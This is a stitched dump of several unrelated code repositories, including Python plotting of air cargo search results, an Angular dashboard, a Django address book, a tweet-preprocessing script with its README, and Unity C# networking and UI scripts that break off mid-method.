# join all 4 problems data as a list, loop to plot each
data = [acp1, acp2, acp3, acp4]
return data
# for each air cargo problem, plot a multi barchart of the search algorithms
def report_barchart_1_v1():
# data
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
max_actions = max(df['Actions'])
# 104
max_expansions = max(df['Expansions'])
# 113339
# log value of time
df['Expansions'] = custom_log_data(df['Expansions'], max_actions, max_expansions)
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
plot_multi_barchart(data=d,
columns=['Actions', 'Expansions'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values',
xticks_labels=d['search algorithm'],
y_highest_value=max_actions)
def report_barchart_1():
# data
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
max_actions = max(df['Actions'])
# 104
max_expansions = max(df['Expansions'])
# 113339
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
d.set_index('search algorithm', inplace=True)
plot_multi_barchart_twobar(data=d,
columns=['Actions', 'Expansions'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values')
def report_barchart_2_v1():
# data
df = pd.read_csv('./report/run_search_result_data2_actionstime.csv')
# could remove last 2 row as time value is too big, will skew data, also not needed in project requirements
# df = df[:-2]
max_actions = max(df['Actions'])
max_time = max(df['Time'])
highest_value = max_actions
# log value of time
df['Time'] = custom_log_data(df['Time'], max_actions, max_time)
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
plot_multi_barchart(data=d,
columns=['Actions', 'Time'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values',
xticks_labels=d['search algorithm'],
y_highest_value=highest_value)
def report_barchart_2():
# data
df = pd.read_csv('./report/run_search_result_data2_actionstime.csv')
# could remove last 2 row as time value is too big, will skew data, also not needed in project requirements
# df = df[:-2]
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
d.set_index('search algorithm', inplace=True)
plot_multi_barchart_twobar(data=d,
columns=['Actions', 'Time'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values')
def report_barchart_3_v1():
# data
df = pd.read_csv('./report/run_search_result_data3_planlength.csv')
max_plan_length = max(df['Plan Length'])
# 24132
highest_value = 100
# log value of time
df['Plan Length'] = custom_log_data(df['Plan Length'], highest_value, max_plan_length)
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
plot_multi_barchart(data=d,
columns=['Plan Length'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values',
xticks_labels=d['search algorithm'],
y_highest_value=highest_value)
def report_barchart_3():
# data
df = pd.read_csv('./report/run_search_result_data3_planlength.csv')
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
d.set_index('search algorithm', inplace=True)
plot_multi_barchart_twobar(data=d,
columns=['Plan Length'],
title='Air Cargo Problem '+str(i+1),
xlabel='Search Algorithms',
ylabel='Values')
#report_barchart_1()
#report_barchart_2()
#report_barchart_3()
report_barchart_1() # uses two axis barchart
report_barchart_2() # uses two axis barchart
report_barchart_3() # uses two axis barchart
######################
# results in table, render as html in jupyter
from IPython.display import display, HTML
def report_table(df):
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
display(HTML('<hr />'))
display(HTML('Air Cargo Problem '+str(i+1)))
display(d)
def report_table_1():
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
report_table(df)
def report_table_2():
df = pd.read_csv('./report/run_search_result_data2_actionstime.csv')
report_table(df)
def report_table_3():
df = pd.read_csv('./report/run_search_result_data3_planlength.csv')
report_table(df)
report_table_1()
report_table_2()
report_table_3()
##########################
# pie chart example online
import matplotlib.pyplot as plt
# Pie chart, where the slices will be ordered and plotted counter-clockwise:
labels = 'Frogs', 'Hogs', 'Dogs', 'Logs'
sizes = [15, 30, 45, 10]
explode = (0, 0.1, 0, 0) # only "explode" the 2nd slice (i.e. 'Hogs')
fig1, ax1 = plt.subplots()
ax1.pie(sizes, explode=explode, labels=labels, autopct='%1.1f%%',
shadow=True, startangle=90)
ax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.
plt.show()
##########################
# pie chart on result data
def report_pie_1():
# data
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
# max_actions = max(df['Actions'])
# 104
# max_expansions = max(df['Expansions'])
# 113339
# log value of time
# df['Expansions'] = custom_log_data(df['Expansions'], max_actions, max_expansions)
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
# plot_pie_chart(data=d,
# columns=['Actions', 'Expansions'],
# title='Air Cargo Problem '+str(i+1),
# xlabel='Search Algorithms',
# ylabel='Values',
# xticks_labels=d['search algorithm'],
# y_highest_value=max_actions)
labels = d['search algorithm']
data = d
fig, ax = plt.subplots()
# ax.pie()
d.set_index('search algorithm', inplace=True)
d['Expansions'].plot.pie(subplots=True, autopct='%.2f%%', title='Air Cargo Problem '+str(i)+' - Expansions', shadow=True, figsize=(3,3))
report_pie_1()
def report_pie_2():
# data
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
# max_actions = max(df['Actions'])
# 104
# max_expansions = max(df['Expansions'])
# 113339
# log value of time
# df['Expansions'] = custom_log_data(df['Expansions'], max_actions, max_expansions)
# split data from dataframe into each 4 air cargo problems, convert into a list
data_4_problems = handle_data(df)
for i, d in enumerate(data_4_problems):
# plot_pie_chart(data=d,
# columns=['Actions', 'Expansions'],
# title='Air Cargo Problem '+str(i+1),
# xlabel='Search Algorithms',
# ylabel='Values',
# xticks_labels=d['search algorithm'],
# y_highest_value=max_actions)
labels = d['search algorithm']
data = d
fig, ax = plt.subplots()
# ax.pie()
d.set_index('search algorithm', inplace=True)
d['Expansions'].plot.pie(subplots=True, autopct='%.2f%%', title='Air Cargo Problem '+str(i)+' - Expansions', shadow=True, figsize=(3,3))
report_pie_1()
#########################
# bar chart with two axis - test on data
def report_barchart_two_axis_2():
# data
df = pd.read_csv('./report/run_search_result_data1_actionsexpansions.csv')
df.set_index('search algorithm', inplace=True)
# air cargo problem 1
data = df[:11]
# plot
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax2 = ax1.twinx() # add another axis share the same x-axis
ax1.set_axisbelow(True)
ax2.set_axisbelow(True)
# ax1.grid()
# ax2.grid()
data['Actions'].plot(kind='bar', color='red', ax=ax1, width=0.3, position=2, label='Action')
data['Expansions'].plot(kind='bar', color='blue', ax=ax2, width=0.3, position=1, label='Expansions')
ax1.set_ylabel('Actions')
ax2.set_ylabel('Expansions')
ax1.legend(loc=1)
ax2.legend(loc=2)
plt.tight_layout()
plt.show()
report_barchart_two_axis_2()
| 0bbb430f0c7141c8d5ea83c2874315d7b00987b4 | [
"Python"
] | 2 | Python | fileung/UdacityAINDProject2AirCargoProblem | 44191a1f0894e78acae86f54080c9fd07165b1c4 | 58419e2a9d5601061370578a6dc62f4430bff1d0 |
refs/heads/master | <file_sep># filter-component
<!-- Auto Generated Below -->
## Events
| Event | Description | Type |
| -------------- | ----------- | ------------------------------------------------- |
| `filterChange` | | `CustomEvent<{ country: string; year: number; }>` |
----------------------------------------------
*Built with [StencilJS](https://stenciljs.com/)*
<file_sep>export const OlympicWinnersJsonURL = 'https://www.ag-grid.com/example-assets/olympic-winners.json'; | d7e178129d7b480f4ca59379112cab2b77016ef3 | [
"Markdown",
"TypeScript"
] | 2 | Markdown | dipankar-datta/stencil-example | a5a198fa8eb8f285193e7d6b000cf98a2e903662 | 4f2111ebdf1358d8509a68da0abbe05161b83d1d |
refs/heads/master | <repo_name>shouwy/SeriesFront<file_sep>/src/app/service/etat.service.ts
import { Injectable } from '@angular/core';
import { AbstractService } from './AbstractService';
import { environment } from '../../environments/environment';
import { EtatModel } from '../model/etat.model';
@Injectable()
export class EtatService extends AbstractService {
private etatUrl = this.apiUrl + environment.api.url.etat;
public getEtats(): Promise<any | EtatModel[]> {
const listUrl = this.etatUrl + '/list';
return this.list(listUrl).toPromise()
.then( response => response as EtatModel[])
.catch();
}
}
<file_sep>/src/app/model/card/graphCard.ts
import { TypeModel } from '../type.model';
import { Card } from './card';
export class GraphCard {
card: Card;
type: TypeModel;
graphType: string;
}
<file_sep>/src/app/service/AbstractService.ts
import { environment } from '../../environments/environment';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Injectable } from '@angular/core';
@Injectable()
export abstract class AbstractService {
protected apiUrl = environment.api.host + environment.api.port + environment.api.contextPath;
constructor(protected httpClient: HttpClient) { }
protected list(url: string) {
return this.httpClient.get(url, {
headers: new HttpHeaders().set('Content-Type', 'application/json'),
});
}
}
<file_sep>/src/app/module/dashboard.module.ts
import { NgModule } from '@angular/core';
import { DashboardComponent } from '../components/dashboard/dashboard.component';
import {
MatCardModule,
MatFormFieldModule,
MatGridListModule,
MatInputModule,
MatPaginatorModule,
MatTableModule
} from '@angular/material';
import { CanvasCardComponent } from '../components/dashboard/canvas-card/canvas-card.component';
import { BrowserModule } from '@angular/platform-browser';
import { TypeService } from '../service/type.service';
import { EtatService } from '../service/etat.service';
import { EtatPersonalService } from '../service/etat-personal.service';
import { TableCardComponent } from '../components/dashboard/table-card/table-card.component';
@NgModule({
declarations: [
DashboardComponent,
CanvasCardComponent,
TableCardComponent
],
imports: [
BrowserModule,
MatGridListModule,
MatCardModule,
MatTableModule,
MatPaginatorModule,
MatFormFieldModule,
MatInputModule
],
providers: [
TypeService,
EtatService,
EtatPersonalService
]
})
export class DashboardModule { }
<file_sep>/src/app/model/card/matTabCard.ts
import { Card } from './card';
import { MatTableColumn } from '../matTableColumn';
export class MatTabCard {
card: Card;
source: any[];
displayColumns: MatTableColumn[];
}
<file_sep>/src/app/model/type.model.ts
import {EtatPersonnelModel} from './etatPersonnel.model';
/**
* Type
*/
export class TypeModel {
/** Identifiant **/
public id: string;
/** List of Private Status **/
public etatList: EtatPersonnelModel[];
/** Name **/
public typeName: string;
}
<file_sep>/src/app/model/card/card.ts
export abstract class Card {
title: string;
col: number;
row: number;
}
<file_sep>/src/app/model/element.model.ts
export class ElementModel {
}
<file_sep>/src/app/model/matTableColumn.ts
export class MatTableColumn {
label: string;
header: string;
valueName: any;
}
<file_sep>/src/app/service/type.service.ts
import { Injectable } from '@angular/core';
import { environment } from '../../environments/environment';
import { TypeModel } from '../model/type.model';
import { AbstractService } from './AbstractService';
@Injectable()
export class TypeService extends AbstractService {
private typeUrl = this.apiUrl + environment.api.url.type;
public getTypes(): Promise<void | TypeModel[]> {
const listUrl = this.typeUrl + '/list';
return this.list(listUrl).toPromise()
.then(response => response as TypeModel[])
.catch();
}
}
<file_sep>/src/app/service/etat-personal.service.ts
import { Injectable } from '@angular/core';
import { AbstractService } from './AbstractService';
import { environment } from '../../environments/environment';
import { EtatPersonnelModel } from '../model/etatPersonnel.model';
@Injectable()
export class EtatPersonalService extends AbstractService {
private etatUrl = this.apiUrl + environment.api.url.etatPersonal;
public getEtatsPersonal(): Promise<any | EtatPersonnelModel[]> {
const listUrl = this.etatUrl + '/list';
return this.list(listUrl).toPromise()
.then( response => response as EtatPersonnelModel[])
.catch();
}
}
<file_sep>/src/app/components/dashboard/table-card/table-card.component.ts
import { Component, Input, OnChanges, OnInit, ViewChild } from '@angular/core';
import { MatTabCard } from '../../../model/card/matTabCard';
import { MatPaginator, MatTableDataSource, PageEvent } from '@angular/material';
@Component({
selector: 'app-table-card',
templateUrl: './table-card.component.html',
styleUrls: ['./table-card.component.scss']
})
export class TableCardComponent implements OnInit, OnChanges {
@Input() public tableCard: MatTabCard;
public displayedColumns: string[]
public dataSource: MatTableDataSource<any>;
@ViewChild(MatPaginator) paginator: MatPaginator;
public pageIndex = 0;
public pageSize = 25;
public length: number;
constructor() { }
ngOnInit() {
}
ngOnChanges() {
if (this.tableCard && (this.tableCard.displayColumns !== undefined || this.tableCard.displayColumns !== null)) {
this.dataSource = new MatTableDataSource(this.tableCard.source);
this.displayedColumns = this.tableCard.displayColumns.map(x => x.label);
this.dataSource.paginator = this.paginator;
this.dataSource.paginator.pageSize = this.pageSize;
this.dataSource.paginator.pageIndex = this.pageIndex;
this.dataSource.paginator.length = this.tableCard.source.length;
}
}
applyFilter(filterValue: string) {
filterValue = filterValue.trim(); // Remove whitespace
filterValue = filterValue.toLowerCase(); // Datasource defaults to lowercase matches
this.dataSource.filter = filterValue;
if (this.dataSource.paginator) {
this.dataSource.paginator.firstPage();
}
}
updateProductsTable(event: PageEvent) {
this.pageSize = event.pageSize;
this.pageIndex = event.pageIndex + 1;
}
}
<file_sep>/src/app/components/dashboard/dashboard.component.ts
import { Component, OnInit, ViewChild } from '@angular/core';
import { map } from 'rxjs/operators';
import { Breakpoints, BreakpointObserver } from '@angular/cdk/layout';
import { Title } from '@angular/platform-browser';
import { TypeModel } from '../../model/type.model';
import { TypeService } from '../../service/type.service';
import { EtatModel } from '../../model/etat.model';
import { EtatPersonnelModel } from '../../model/etatPersonnel.model';
import { EtatService } from '../../service/etat.service';
import { EtatPersonalService } from '../../service/etat-personal.service';
import { MatPaginator, MatTableDataSource } from '@angular/material';
import { GraphCard } from '../../model/card/graphCard';
import { MatTabCard } from '../../model/card/matTabCard';
import { MatTableColumn } from '../../model/matTableColumn';
@Component({
selector: 'app-dashboard',
templateUrl: './dashboard.component.html',
styleUrls: ['./dashboard.component.scss'],
})
export class DashboardComponent implements OnInit {
public graphCard: GraphCard[];
public matTabCard: MatTabCard[];
constructor(private titleService: Title, private typeService: TypeService, private etatService: EtatService,
private etatPersService: EtatPersonalService) {}
ngOnInit() {
this.titleService.setTitle('DashBoard');
this.matTabCard = [];
this.initTypes();
this.initEtats();
this.initEtatPers();
}
private initTypes() {
this.typeService.getTypes().then((result: TypeModel[]) => {
const typesCard: MatTabCard = {
card: {
title: 'Types',
col: 1,
row: 1
},
source: result,
displayColumns: [{
label: 'id',
header: 'Identifiant',
valueName: row => `${row.id}`
}, {
label: 'name',
header: 'Nom',
valueName: row => `${row.typeName}`
}, ],
};
this.matTabCard.push(typesCard);
result.forEach((type: TypeModel) => {
const card: GraphCard = {
card: {
title: type.typeName,
col: 1,
row: 1
},
type: type,
graphType: 'bar',
};
this.graphCard.push(card);
});
});
}
private initEtats() {
this.etatService.getEtats().then((result: EtatModel[]) => {
const etatCard: MatTabCard = {
card: {
title: 'Etat',
col: 1,
row: 1
},
source: result,
displayColumns: [{
label: 'id',
header: 'Identifiant',
valueName: row => `${row.id}`
}, {
label: 'name',
header: 'Nom',
valueName: row => `${row.etatName}`
}, ],
};
this.matTabCard.push(etatCard);
});
}
private initEtatPers() {
this.etatPersService.getEtatsPersonal().then((result: EtatPersonnelModel[]) => {
const etatPersCard: MatTabCard = {
card: {
title: 'Etat Personnel',
col: 1,
row: 1
},
source: result,
displayColumns: [{
label: 'id',
header: 'Identifiant',
valueName: row => `${row.id}`
}, {
label: 'name',
header: 'Nom',
valueName: row => `${row.etatPersName}`
}, ],
};
this.matTabCard.push(etatPersCard);
});
}
}
<file_sep>/src/app/model/etatPersonnel.model.ts
/**
* Private Status
*/
export class EtatPersonnelModel {
/** Identifiant **/
public id: string;
/** Name **/
public etatPersName: string;
}
<file_sep>/src/app/components/navbar/navbar.component.ts
import { ChangeDetectorRef, Component, OnDestroy, OnInit } from '@angular/core';
import { MediaMatcher } from '@angular/cdk/layout';
import { Title } from '@angular/platform-browser';
@Component({
selector: 'app-navbar',
templateUrl: './navbar.component.html',
styleUrls: ['./navbar.component.scss'],
})
export class NavbarComponent implements OnInit, OnDestroy {
public mobileQuery: MediaQueryList;
private readonly _mobileQueryListener: () => void;
constructor(changeDetectorRef: ChangeDetectorRef, media: MediaMatcher, private titleService: Title) {
this.mobileQuery = media.matchMedia('(max-width: 600px)');
this._mobileQueryListener = () => changeDetectorRef.detectChanges();
this.mobileQuery.addListener(this._mobileQueryListener);
}
ngOnInit() {}
ngOnDestroy(): void {
this.mobileQuery.removeListener(this._mobileQueryListener);
}
}
<file_sep>/src/app/model/etat.model.ts
/**
* Globale Status
*/
export class EtatModel {
/** Identifiant **/
public id: string;
/** Name **/
public etatName: string;
}
<file_sep>/src/app/service/element.service.ts
import { Injectable } from '@angular/core';
import { environment } from '../../environments/environment';
import { AbstractService } from './AbstractService';
import { ElementModel } from '../model/element.model';
@Injectable()
export class ElementService extends AbstractService {
private elementUrl = this.apiUrl + environment.api.url.etatPersonal;
public getElements(): Promise<any | ElementModel[]> {
const listUrl = this.elementUrl + '/list';
return this.list(listUrl).toPromise()
.then( response => response as ElementModel[])
.catch();
}
}
| 222b57bcd6b4a3829c28bff9ec8e057ab1e1b986 | [
"TypeScript"
] | 17 | TypeScript | shouwy/SeriesFront | bb50dbdbabb5322d0988faa8251f692e92cf37c5 | 4e58d5237eb3f3bb5bfdd92dbe177b93c73e5e82 |
refs/heads/master | <repo_name>JiheeSon/CSE351_Exercise3<file_sep>/README.md
# CSE351_Exercise3
We solved a data challenge regarding twitter classification as a group project.
https://datahack.analyticsvidhya.com/contest/practice-problem-twitter-sentiment-analysis/
## Problem statement
The objective of this task is to detect hate speech in tweets. For the sake of simplicity, we say a tweet contains hate speech if it has a racist or sexist sentiment associated with it. So, the task is to classify racist or sexist tweets from other tweets.
Formally, given a training sample of tweets and labels, where label '1' denotes the tweet is racist/sexist and label '0' denotes the tweet is not racist/sexist, your objective is to predict the labels on the test dataset.
## Description of dataset
The dataset is a .csv file with three colums; tweet id, label and a tweet data.
* A tweet id is an integer value for identifying each tweets.
* A label is used for classifying each tweets as love or hate. A tweet is labeled as 0 if it contains racist or sexist comments and 1 if it does not contains racist or sexists comments.
* A tweet data is a string value of tweet comments that users have posted.
## Approach for solving problem
We used the following approach to solve the data challenge.
1. Data processing
2. Classify the train data set by their label
3. Rank the words based on the frequence within each label
4. Input test dataset and analyze each tweet.
5. Classify the tweets based on the ratio of positive words(0) to negative words(1)
6. Make Prediction
## Data Preprocessing and final dataset
We preprocessed data using tweetPreprocess.py python code. We removed redundant words and modified recurrent words. We considered the word with common etymology as same for more accuarate classification. For example, we considered *programming*, *programmer*, *programmed*, *etc* as same as they have common meaning related to *programming*.
We created two .csv files which are subdivided by the tweet labels from the main dataset.

<br/><br/>
## Data analysis tool and procedure
We used orange for the data analysis tool.
https://orange.biolab.si/

### First Try
Our first Try: Weight each words based on its frequency and compute scores of each sentences. Based on appearance of higher weighted words, we can classify tweets as love tweet or hate tweet.
Step 1: Install oraged add-ons for preprocessed text.

<br/><br/>
Step 2: Sort the words in frequency.

<br/><br/>
Step 3: Create word cloud / data table for label 0 and 1.


<br/><br/>
Step 4: Weight each words according its frequency.
We were stuch at this point. We considerd a lot to figure out reasonable weight for each words.
### Second Try
Our second Try: After some research we decided to try sentiment analsis.
Step 1: Preprocess and analyze test data.

<br/><br/>
Step 2: Sentiment Analysis.

<br/><br/>
Step 3: Select data for classification.

<br/><br/>
Step 4: Write and used python code for classification.

## Classification Pseudocode:
```
If pos-neg >0:
Classification = "Positive"
else :
Classification = "Negative"
```
## Result Description
Results (Classification)
Label 0 stands for Positive Tweet
Label 1 stands for Negative Tweet
The tweets are labeled successfully.

## Authors
**<NAME>, Email: <EMAIL>**
**<NAME>, Email: <EMAIL>**
**<NAME>, Email: <EMAIL>**
<file_sep>/tweetPreprocess.py
import pandas as pd
import numpy as np
from nltk.stem.porter import *
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
train = pd.read_csv('train_E6oV3lV.csv')
# test = pd.read_csv('test_tweets_anuFYb8.csv')
finalFile = train
def remove_pattern(input_txt, pattern):
r = re.findall(pattern, input_txt)
for i in r:
input_txt = re.sub(i, '', input_txt)
return input_txt
# remove twitter handles (@user)
finalFile['tidy_tweet'] = np.vectorize(remove_pattern)(finalFile['tweet'], "@[\w]*")
# remove special characters, numbers, punctuations
finalFile['tidy_tweet'] = finalFile['tidy_tweet'].str.replace("[^a-zA-Z]", " ")
# Removing Short Words
finalFile['tidy_tweet'] = finalFile['tidy_tweet'].apply(lambda x: ' '.join([w for w in x.split() if len(w) > 3]))
tokenized_tweet = finalFile['tidy_tweet'].apply(lambda x: x.split())
# stemmer = PorterStemmer()
# tokenized_tweet = tokenized_tweet.apply(lambda x: [stemmer.stem(i) for i in x]) # stemming
for i in range(len(tokenized_tweet)):
tokenized_tweet[i] = ' '.join(tokenized_tweet[i])
finalFile['tidy_tweet'] = tokenized_tweet
finalFile.drop(["tweet"], axis = 1, inplace = True)
# print(finalFile.head())
finalFile.to_csv(r'preprocess_train_data.csv', index = False)
# finalFile.to_csv(r'preprocess_test_data.csv', index = False)
| a7f73bdb17947fd12a322b4363f577b9a95ce732 | [
"Markdown",
"Python"
] | 2 | Markdown | JiheeSon/CSE351_Exercise3 | c0ae4a3bf1574185d47f354c8556fac87c3e94c7 | 6d0c1ffe62e1fdbfe0b502ee04b3f24c6b42d052 |
refs/heads/main | <repo_name>matt0202/rentabilidad<file_sep>/emprendedor1.rb
#El producto planea venderse en 50 dólares.●
#Se espera tener 1000 usuarios al año.●
#Los gastos del año son 20000 dólares.
#Las utilidades se calculan como :_𝑝𝑟𝑒𝑐𝑖𝑜𝑣𝑒𝑛𝑡𝑎𝑠*𝑢𝑠𝑢𝑎𝑟𝑖𝑜𝑠−𝑔𝑎𝑠𝑡𝑜𝑠
#Los impuestos aplicados a las utilidades son el 35%y solo aplican si es positivo
precio_ventas = ARGV[0].to_i
usuario = ARGV[1].to_i
gastos = ARGV[2].to_i
utilidad = precio_ventas * usuario - gastos
if utilidad > 0
utilidad = utilidad * 0.65
end
puts utilidad
<file_sep>/emprendedor2.rb
#El producto planea venderse en 50 dólares.●
#Se espera tener 1000 usuarios al año.●
#Los gastos del año son 20000 dólares.
precio_ventas = ARGV[0].to_i
usuario = ARGV[1].to_i
gastos = ARGV[2].to_i
usuarios_p = ARGV[3].to_i
usuarios_g = ARGV[4].to_i
| 983cc664132d62c724889870794517abfb369327 | [
"Ruby"
] | 2 | Ruby | matt0202/rentabilidad | d162d0ffe3bbe85fbf15bacb73b78fd86023500c | 894d5dae72b1b8c82459dc38d56a31b30c8bd577 |
refs/heads/main | <repo_name>developerharo/django_addressbook<file_sep>/contact/models.py
from django.db import models
from django.urls import reverse
class Contact(models.Model):
first_name = models.CharField(max_length=30)
last_name = models.CharField(max_length=30)
phone = models.CharField(max_length=20, blank=True)
email = models.EmailField(blank=True)
address = models.TextField(blank=True)
def __str__(self):
return f"{self.last_name}, {self.first_name}"
def get_absolute_url(self):
return reverse("contact_detail", kwargs={"pk": self.pk})<file_sep>/contact/views.py
from django.shortcuts import render
from django.urls.base import reverse_lazy
from django.views.generic import (
ListView,
CreateView,
DetailView,
UpdateView,
DeleteView,
)
from .models import Contact
from .forms import ContactForm
# Create your views here.
class ContactListView(ListView):
model = Contact
class ContactCreateView(CreateView):
model = Contact
form_class = ContactForm
class ContactDetailView(DetailView):
model = Contact
class ContactUpdateView(UpdateView):
model = Contact
form_class = ContactForm
class ContactDeleteView(DeleteView):
model = Contact
success_url = reverse_lazy('contact_list')<file_sep>/README.md
# django_adressbook
django_adressbook
Instructions
1. Clone this project
2. Create a Python virtual environment
3. Activate your virtual environment ($source ./venv/bin/activate)
4. Run pip install -r requirements.txt
5. Run migrations: python manage.py migrate
6. Play around ($ python manage.py runserver)<file_sep>/contact/urls.py
from django.urls import path
from .views import (
ContactListView,
ContactCreateView,
ContactDetailView,
ContactUpdateView,
ContactDeleteView
)
urlpatterns = [
path("", ContactListView.as_view(), name="contact_list"),
path("new/", ContactCreateView.as_view(), name="contact_create"),
path("detail/<int:pk>", ContactDetailView.as_view(), name="contact_detail"),
# /detail/1
path("edit/<int:pk>", ContactUpdateView.as_view(), name="contact_update"),
path("delete/<int:pk>", ContactDeleteView.as_view(), name="contact_delete")
] | 132f70c01b9aac509ada0e1d6407c72849ee3ee7 | [
"Markdown",
"Python"
] | 4 | Python | developerharo/django_addressbook | 75fbf842f25614ec5bd413e36d1ce24bc217643b | c47d279c2a44f6120fd32411cfaea3584e1ca8ca |
refs/heads/master | <file_sep>using UnityEngine;
using UnityEngine.UI;
using UnityEngine.Events;
using System.Collections;
public class PlayerDisplayItem : MonoBehaviour {
[SerializeField] protected Text haveItemNameCount;
[SerializeField] protected Image itemImage;
[SerializeField] protected Image selectedImage;
[SerializeField] protected bool isSelected;
[SerializeField] protected Item thisItem;
public void LinkComponentElement()
{
haveItemNameCount = GetComponent<Text> ();
itemImage = transform.Find ("Image").GetComponent<Image> ();
selectedImage = transform.Find ("NameCountBackImage").GetComponent<Image> ();
isSelected = false;
}
//!! to be continue;
public void UpdateComponentElement(Item playItem){
haveItemNameCount.text = (playItem.Name+" / " + playItem.Count).ToString();
}
//Sell Button -> SellViewSet-> sellButtonSelected
public void ClickPlayerDisPlayItemSelect()
{
SellViewSet sellMain = gameObject.GetComponentInParent<SellViewSet>();
isSelected = true;
sellMain.SellSelectedItem(thisItem);
}
public Item ThisItem{
get { return thisItem;}
}
public bool IsSelected
{
get { return isSelected;}
set { isSelected = value;}
}
}
<file_sep>using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Net;
using System.Net.Sockets;
[System.Serializable]
public class ClientNetworkProcessor
{
class AsyncData
{
public Socket clientSocket;
public const int messageMaxLength = 1024;
public byte[] message = new byte[messageMaxLength];
public int messageLength;
}
public delegate void OnReceiveEvent(byte[] message,int messageSize);
public event OnReceiveEvent OnReceived;
[SerializeField] Socket myClientSocket;
AsyncCallback receiveAsyncCallback;
[SerializeField] string serverIP;
[SerializeField] int serverPort;
public Socket ClientSocket { get { return myClientSocket; } }
public ClientNetworkProcessor()
{
receiveAsyncCallback = new AsyncCallback( ReceiveAsyncCallback );
}
// private method
// create packet include header
private byte[] CreatePacketStream<T, U>( Packet<T,U> packet )
{
// data iniialize
byte[] packetData = packet.GetPacketData();
PacketHeader header = new PacketHeader();
HeaderSerializer serializer = new HeaderSerializer();
// set header data
header.id = (byte) packet.GetPacketID();
header.length = (short) packetData.Length;
byte[] headerData = null;
if( !serializer.Serialize( header ) )
return null;
headerData = serializer.GetSerializeData();
// header / packet data combine
byte[] data = new byte[headerData.Length + packetData.Length];
int headerSize = Marshal.SizeOf( header.id ) + Marshal.SizeOf( header.length );
Buffer.BlockCopy( headerData, 0, data, 0, headerSize );
Buffer.BlockCopy( packetData, 0, data, headerSize, packetData.Length );
return data;
}
// public method
// set serverInformation
public void SetServerInformation( string _serverIP, int _serverPort )
{
serverIP = _serverIP;
serverPort = _serverPort;
}
// connect client to server
public bool Connect()
{
// client socket connect
try
{
myClientSocket = new Socket( AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp );
myClientSocket.Connect( new IPEndPoint( IPAddress.Parse( serverIP ), serverPort ) );
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Client : Null Reference Exception - On Connect (connect section)" );
return false;
}
catch ( SocketException e )
{
Debug.Log( e.ErrorCode );
Debug.Log( e.InnerException );
Debug.Log( "Client : Socket Exception - On Connect (connect section)" );
return false;
}
// async data set
AsyncData asyncData = new AsyncData();
asyncData.clientSocket = myClientSocket;
// set begin receive
try
{
myClientSocket.BeginReceive( asyncData.message, 0, AsyncData.messageMaxLength, SocketFlags.None, receiveAsyncCallback, asyncData );
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Client : Null Reference Exception - On Connect (begin receive section)" );
myClientSocket.Disconnect( false );
return false;
}
catch ( SocketException e )
{
Debug.Log( e.ErrorCode );
Debug.Log( e.InnerException );
Debug.Log( "Client : Socket Exception - On Connect (begin receive section)" );
myClientSocket.Disconnect( false );
return false;
}
Debug.Log( "Client : Connect Success -> IP : " + serverIP + " / port : " + serverPort.ToString() );
return true;
}
// callback method -> async callback receive
public void ReceiveAsyncCallback( IAsyncResult asyncResult )
{
// async data set
AsyncData asyncData = (AsyncData) asyncResult.AsyncState;
Socket clientSocket = asyncData.clientSocket;
// end receive process
try
{
asyncData.messageLength = clientSocket.EndReceive( asyncResult );
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Client : Null Reference Exception - On Receive Async Callback (end receive section)" );
clientSocket.Disconnect( false );
}
catch ( SocketException e )
{
Debug.Log( e.ErrorCode );
Debug.Log( e.InnerException );
Debug.Log( "Client : Socket Exception - On Receive Async Callback (end receive section)" );
clientSocket.Disconnect( false );
}
// add event
try
{
OnReceived( asyncData.message, asyncData.messageLength );
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Clinet : Null Reference Exception - On Receive Async Callback (add event section)" );
}
// set begin receive
try
{
clientSocket.BeginReceive( asyncData.message, 0, AsyncData.messageMaxLength, SocketFlags.None, receiveAsyncCallback, asyncData );
}
catch ( NullReferenceException e )
{
Debug.Log( e.Message );
Debug.Log( e.InnerException );
Debug.Log( "Client : Null Reference Exception - On Connect (begin receive section)" );
clientSocket.Disconnect( false );
}
catch ( SocketException e )
{
Debug.Log( e.ErrorCode );
Debug.Log( e.InnerException );
Debug.Log( "Client : Socket Exception - On Connect (begin receive section)" );
clientSocket.Disconnect( false );
}
}
// send method
public int Send<T,U>( Packet<T,U> packet )
{
byte[] data = CreatePacketStream( packet );
// send message to client
try
{
